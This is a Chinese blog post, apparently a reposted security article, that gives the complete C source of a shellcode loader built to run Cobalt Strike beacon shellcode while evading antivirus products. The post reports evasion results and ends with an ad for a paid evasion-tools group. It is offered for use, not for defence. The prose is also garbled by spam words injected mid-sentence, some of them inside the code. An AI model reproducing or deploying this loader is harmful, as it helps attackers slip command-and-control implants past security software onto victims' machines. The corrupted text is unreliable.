虽然这么作念倒是能过一下某绒
平乐县磁大麻类有限公司
平乐县磁大麻类有限公司

新闻资讯

虽然这么作念倒是能过一下某绒

发布日期:2024-07-10 13:20    点击次数:60

虽然这么作念倒是能过一下某绒

1.引子

好久没写了,水一水,王人知谈cs生成的stager的马其实即是一个loader,里面套了一层shellcode也即是cs payload generator生成的c代码里面的shellcode,驱动它之后从资料办事器下载beacon驱动,那许多作念免杀的样貌也王人是对这个shellcode作念,对他污染啊,重写啊,加密啊等等的然后写一个shellcode loader驱动shellcode,虽然这么作念倒是能过一下某绒,某卫士,可是还是有好多东谈主过不了用各式说话写loader,加密shellcode啥的,那就给行家浅薄共享一个c写的加载器吧,shellcode也没作念啥,代码是腹地文献差别读取shellcode的,饮水机清洗不差别吧也不错过一两分钟就死, 家用电器改成远的吧也不错, 冶金能短时辰常常上线实施什么的,但过一些时辰就死了,至于什么原因行家不错念念一念念为什么,底下共享一下代码以及测试图。

由于微信公众号推送机制更正了,快来星标不再迷途,谢谢行家!

图片

2.代码及测试2.1 Loader

图片

#include <stdio.h>#include <stdlib.h>#include <string.h>#include <windows.h>typedef void(*Shellcode)();int main() { FILE* file = fopen('config.txt',无线导航 'r'); if (file == NULL) { printf('无法灵通竖立文献。\n'); return 1; } // 读取Shellcode试验 char shellcode[4096] = { 0 }; if (fgets(shellcode, sizeof(shellcode), file) == NULL) { printf('读取Shellcode失败。\n'); fclose(file); return 1; } // 关闭文献 fclose(file); // 去除换行符 size_t shellcodeLen = strlen(shellcode); if (shellcode[shellcodeLen - 1] == '\n') { shellcode[shellcodeLen - 1] = '\0'; } // 将Shellcode养息为二进制样子 size_t shellcodeSize = shellcodeLen / 4; unsigned char* shellcodeBytes = (unsigned char*)malloc(shellcodeSize); if (shellcodeBytes == NULL) { printf('内存分拨失败。\n'); return 1; } for (size_t i = 0; i < shellcodeSize; i++) { sscanf(shellcode + (i * 4), '\\x%2hhx', &shellcodeBytes[i]); } // 分拨内存来存储Shellcode LPVOID shellcodeMem = VirtualAlloc(NULL, shellcodeSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); if (shellcodeMem == NULL) { printf('无法为Shellcode分拨内存。\n'); free(shellcodeBytes); return 1; } // 将Shellcode复制到分拨的内存中 memcpy(shellcodeMem, shellcodeBytes, shellcodeSize); // 实施Shellcode Shellcode shellcodeFunc = (Shellcode)shellcodeMem; shellcodeFunc(); // 开释内存 VirtualFree(shellcodeMem, 0, MEM_RELEASE); free(shellcodeBytes); return 0;}2.2 Shellcode

shellcode就径直用cs生成c代码把shellcode弄出来粘贴到文献里面就已矣。

图片

2.3 恶果

扫描没发现问题。

图片

驱动几分钟后很稳。

图片

Loader还行。

图片

3.回来

有些东西很浅薄,不要念念复杂了,多试几遍就知谈某个杀软杀什么了,也能逐渐摸索他们的检测旨趣,内存啥的王人通常,逐渐王人念念昭着了就会嗅觉不难了仅仅说有些东西不好说太昭着,但各式表面什么的王人是开出来的,动动脑子念念昭着了在去实施恶果更好。

付费圈子

欢 迎 加 入 星 球 !

代码审计+免杀+渗入学习资源+各式辛勤文档+各式器具+付费会员

图片

进成员里面群

图片

星球的最近主题和星球里面器具一些展示

图片

图片

图片

图片

图片

图片

图片

图片

图片

图片

图片

加入安全疏通群

图片

                               

珠海市香之君科技股份有限公司

关 注 有 礼无线导航

本站仅提供存储办事,通盘试验均由用户发布,如发现存害或侵权试验,请点击举报。